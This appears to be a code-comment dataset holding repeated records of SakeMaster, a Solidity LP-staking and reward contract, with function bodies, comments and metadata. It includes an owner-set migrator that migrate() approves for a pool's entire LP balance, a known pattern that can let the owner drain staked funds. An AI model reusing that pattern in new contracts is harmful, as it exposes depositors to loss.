_toFinal = _to > mintEndBlock ? mintEndBlock : _to; if (_toFinal <= betaTestEndBlock) { return _toFinal.sub(_from); }else if (_from >= mintEndBlock) { return 0; } else if (_toFinal <= bonusEndBlock) { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(_toFinal.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSONE_MULTIPLIER); } } else { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(bonusEndBlock.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)).add( (_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER))); } else if (betaTestEndBlock <= _from && _from < bonusEndBlock) { return bonusEndBlock.sub(_from).mul(BONUSONE_MULTIPLIER).add(_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSTWO_MULTIPLIER); } } } // View function to see pending SAKEs on frontend. function pendingSake(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSakePerShare = pool.accSakePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accSakePerShare = accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSakePerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (multiplier == 0) { pool.lastRewardBlock = block.number; return; } uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); sake.mint(devaddr, sakeReward.div(15)); sake.mint(address(this), sakeReward); pool.accSakePerShare = pool.accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to SakeMaster for SAKE allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); if (pending > 0) safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from SakeMaster. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount > 0, "emergencyWithdraw: not good"); uint256 _amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), _amount); emit EmergencyWithdraw(msg.sender, _pid, _amount); } // Safe sake transfer function, just in case if rounding error causes pool to not have enough SAKEs. function safeSakeTransfer(address _to, uint256 _amount) internal { uint256 sakeBal = sake.balanceOf(address(this)); if (_amount > sakeBal) { sake.transfer(_to, sakeBal); } else { sake.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
// SakeMaster is the master of Sake. He can make Sake and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once SAKE is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless.
LineComment
migrate
function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; }
// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
LineComment
v0.6.12+commit.27d51765
None
ipfs://5d4700996a40376e16d7d09f63c9d6b8ef633b28dd8203c5297833f9286dce20
{ "func_code_index": [ 5512, 6008 ] }
3,695
SakeVoterCalc
contracts/SakeMaster.sol
0x44d84a9da47fd8f4a06ad66b197d1441fca53f92
Solidity
SakeMaster
contract SakeMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of SAKEs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accSakePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accSakePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SAKEs to distribute per block. uint256 lastRewardBlock; // Last block number that SAKEs distribution occurs. uint256 accSakePerShare; // Accumulated SAKEs per share, times 1e12. See below. } // The SAKE TOKEN! SakeToken public sake; // Dev address. address public devaddr; // Block number when beta test period ends. uint256 public betaTestEndBlock; // Block number when bonus SAKE period ends. uint256 public bonusEndBlock; // Block number when mint SAKE period ends. uint256 public mintEndBlock; // SAKE tokens created per block. uint256 public sakePerBlock; // Bonus muliplier for 5~20 days sake makers. uint256 public constant BONUSONE_MULTIPLIER = 20; // Bonus muliplier for 20~35 sake makers. uint256 public constant BONUSTWO_MULTIPLIER = 2; // beta test block num,about 5 days. uint256 public constant BETATEST_BLOCKNUM = 35000; // Bonus block num,about 15 days. uint256 public constant BONUS_BLOCKNUM = 100000; // mint end block num,about 30 days. uint256 public constant MINTEND_BLOCKNUM = 200000; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Record whether the pair has been added. mapping(address => uint256) public lpTokenPID; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when SAKE mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( SakeToken _sake, address _devaddr, uint256 _sakePerBlock, uint256 _startBlock ) public { sake = _sake; devaddr = _devaddr; sakePerBlock = _sakePerBlock; startBlock = _startBlock; betaTestEndBlock = startBlock.add(BETATEST_BLOCKNUM); bonusEndBlock = startBlock.add(BONUS_BLOCKNUM).add(BETATEST_BLOCKNUM); mintEndBlock = startBlock.add(MINTEND_BLOCKNUM).add(BETATEST_BLOCKNUM); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } require(lpTokenPID[address(_lpToken)] == 0, "SakeMaster:duplicate add."); uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSakePerShare: 0 }) ); lpTokenPID[address(_lpToken)] = poolInfo.length; } // Update the given pool's SAKE allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Handover the saketoken mintage right. function handoverSakeMintage(address newOwner) public onlyOwner { sake.transferOwnership(newOwner); } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { uint256 _toFinal = _to > mintEndBlock ? mintEndBlock : _to; if (_toFinal <= betaTestEndBlock) { return _toFinal.sub(_from); }else if (_from >= mintEndBlock) { return 0; } else if (_toFinal <= bonusEndBlock) { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(_toFinal.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSONE_MULTIPLIER); } } else { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(bonusEndBlock.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)).add( (_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER))); } else if (betaTestEndBlock <= _from && _from < bonusEndBlock) { return bonusEndBlock.sub(_from).mul(BONUSONE_MULTIPLIER).add(_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSTWO_MULTIPLIER); } } } // View function to see pending SAKEs on frontend. function pendingSake(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSakePerShare = pool.accSakePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accSakePerShare = accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSakePerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (multiplier == 0) { pool.lastRewardBlock = block.number; return; } uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); sake.mint(devaddr, sakeReward.div(15)); sake.mint(address(this), sakeReward); pool.accSakePerShare = pool.accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to SakeMaster for SAKE allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); if (pending > 0) safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from SakeMaster. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount > 0, "emergencyWithdraw: not good"); uint256 _amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), _amount); emit EmergencyWithdraw(msg.sender, _pid, _amount); } // Safe sake transfer function, just in case if rounding error causes pool to not have enough SAKEs. function safeSakeTransfer(address _to, uint256 _amount) internal { uint256 sakeBal = sake.balanceOf(address(this)); if (_amount > sakeBal) { sake.transfer(_to, sakeBal); } else { sake.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
// SakeMaster is the master of Sake. He can make Sake and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once SAKE is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless.
LineComment
getMultiplier
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { uint256 _toFinal = _to > mintEndBlock ? mintEndBlock : _to; if (_toFinal <= betaTestEndBlock) { return _toFinal.sub(_from); }else if (_from >= mintEndBlock) { return 0; } else if (_toFinal <= bonusEndBlock) { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(_toFinal.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSONE_MULTIPLIER); } } else { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(bonusEndBlock.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)).add( (_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER))); } else if (betaTestEndBlock <= _from && _from < bonusEndBlock) { return bonusEndBlock.sub(_from).mul(BONUSONE_MULTIPLIER).add(_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSTWO_MULTIPLIER); } } }
// Return reward multiplier over the given _from to _to block.
LineComment
v0.6.12+commit.27d51765
None
ipfs://5d4700996a40376e16d7d09f63c9d6b8ef633b28dd8203c5297833f9286dce20
{ "func_code_index": [ 6079, 7305 ] }
3,696
SakeVoterCalc
contracts/SakeMaster.sol
0x44d84a9da47fd8f4a06ad66b197d1441fca53f92
Solidity
SakeMaster
contract SakeMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of SAKEs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accSakePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accSakePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SAKEs to distribute per block. uint256 lastRewardBlock; // Last block number that SAKEs distribution occurs. uint256 accSakePerShare; // Accumulated SAKEs per share, times 1e12. See below. } // The SAKE TOKEN! SakeToken public sake; // Dev address. address public devaddr; // Block number when beta test period ends. uint256 public betaTestEndBlock; // Block number when bonus SAKE period ends. uint256 public bonusEndBlock; // Block number when mint SAKE period ends. uint256 public mintEndBlock; // SAKE tokens created per block. uint256 public sakePerBlock; // Bonus muliplier for 5~20 days sake makers. uint256 public constant BONUSONE_MULTIPLIER = 20; // Bonus muliplier for 20~35 sake makers. uint256 public constant BONUSTWO_MULTIPLIER = 2; // beta test block num,about 5 days. uint256 public constant BETATEST_BLOCKNUM = 35000; // Bonus block num,about 15 days. uint256 public constant BONUS_BLOCKNUM = 100000; // mint end block num,about 30 days. uint256 public constant MINTEND_BLOCKNUM = 200000; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Record whether the pair has been added. mapping(address => uint256) public lpTokenPID; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when SAKE mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( SakeToken _sake, address _devaddr, uint256 _sakePerBlock, uint256 _startBlock ) public { sake = _sake; devaddr = _devaddr; sakePerBlock = _sakePerBlock; startBlock = _startBlock; betaTestEndBlock = startBlock.add(BETATEST_BLOCKNUM); bonusEndBlock = startBlock.add(BONUS_BLOCKNUM).add(BETATEST_BLOCKNUM); mintEndBlock = startBlock.add(MINTEND_BLOCKNUM).add(BETATEST_BLOCKNUM); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } require(lpTokenPID[address(_lpToken)] == 0, "SakeMaster:duplicate add."); uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSakePerShare: 0 }) ); lpTokenPID[address(_lpToken)] = poolInfo.length; } // Update the given pool's SAKE allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Handover the saketoken mintage right. function handoverSakeMintage(address newOwner) public onlyOwner { sake.transferOwnership(newOwner); } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { uint256 _toFinal = _to > mintEndBlock ? mintEndBlock : _to; if (_toFinal <= betaTestEndBlock) { return _toFinal.sub(_from); }else if (_from >= mintEndBlock) { return 0; } else if (_toFinal <= bonusEndBlock) { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(_toFinal.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSONE_MULTIPLIER); } } else { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(bonusEndBlock.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)).add( (_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER))); } else if (betaTestEndBlock <= _from && _from < bonusEndBlock) { return bonusEndBlock.sub(_from).mul(BONUSONE_MULTIPLIER).add(_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSTWO_MULTIPLIER); } } } // View function to see pending SAKEs on frontend. function pendingSake(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSakePerShare = pool.accSakePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accSakePerShare = accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSakePerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (multiplier == 0) { pool.lastRewardBlock = block.number; return; } uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); sake.mint(devaddr, sakeReward.div(15)); sake.mint(address(this), sakeReward); pool.accSakePerShare = pool.accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to SakeMaster for SAKE allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); if (pending > 0) safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from SakeMaster. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount > 0, "emergencyWithdraw: not good"); uint256 _amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), _amount); emit EmergencyWithdraw(msg.sender, _pid, _amount); } // Safe sake transfer function, just in case if rounding error causes pool to not have enough SAKEs. function safeSakeTransfer(address _to, uint256 _amount) internal { uint256 sakeBal = sake.balanceOf(address(this)); if (_amount > sakeBal) { sake.transfer(_to, sakeBal); } else { sake.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
// SakeMaster is the master of Sake. He can make Sake and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once SAKE is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless.
LineComment
pendingSake
function pendingSake(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSakePerShare = pool.accSakePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accSakePerShare = accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSakePerShare).div(1e12).sub(user.rewardDebt); }
// View function to see pending SAKEs on frontend.
LineComment
v0.6.12+commit.27d51765
None
ipfs://5d4700996a40376e16d7d09f63c9d6b8ef633b28dd8203c5297833f9286dce20
{ "func_code_index": [ 7364, 8128 ] }
3,697
SakeVoterCalc
contracts/SakeMaster.sol
0x44d84a9da47fd8f4a06ad66b197d1441fca53f92
Solidity
SakeMaster
contract SakeMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of SAKEs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accSakePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accSakePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SAKEs to distribute per block. uint256 lastRewardBlock; // Last block number that SAKEs distribution occurs. uint256 accSakePerShare; // Accumulated SAKEs per share, times 1e12. See below. } // The SAKE TOKEN! SakeToken public sake; // Dev address. address public devaddr; // Block number when beta test period ends. uint256 public betaTestEndBlock; // Block number when bonus SAKE period ends. uint256 public bonusEndBlock; // Block number when mint SAKE period ends. uint256 public mintEndBlock; // SAKE tokens created per block. uint256 public sakePerBlock; // Bonus muliplier for 5~20 days sake makers. uint256 public constant BONUSONE_MULTIPLIER = 20; // Bonus muliplier for 20~35 sake makers. uint256 public constant BONUSTWO_MULTIPLIER = 2; // beta test block num,about 5 days. uint256 public constant BETATEST_BLOCKNUM = 35000; // Bonus block num,about 15 days. uint256 public constant BONUS_BLOCKNUM = 100000; // mint end block num,about 30 days. uint256 public constant MINTEND_BLOCKNUM = 200000; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Record whether the pair has been added. mapping(address => uint256) public lpTokenPID; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when SAKE mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( SakeToken _sake, address _devaddr, uint256 _sakePerBlock, uint256 _startBlock ) public { sake = _sake; devaddr = _devaddr; sakePerBlock = _sakePerBlock; startBlock = _startBlock; betaTestEndBlock = startBlock.add(BETATEST_BLOCKNUM); bonusEndBlock = startBlock.add(BONUS_BLOCKNUM).add(BETATEST_BLOCKNUM); mintEndBlock = startBlock.add(MINTEND_BLOCKNUM).add(BETATEST_BLOCKNUM); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } require(lpTokenPID[address(_lpToken)] == 0, "SakeMaster:duplicate add."); uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSakePerShare: 0 }) ); lpTokenPID[address(_lpToken)] = poolInfo.length; } // Update the given pool's SAKE allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Handover the saketoken mintage right. function handoverSakeMintage(address newOwner) public onlyOwner { sake.transferOwnership(newOwner); } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function 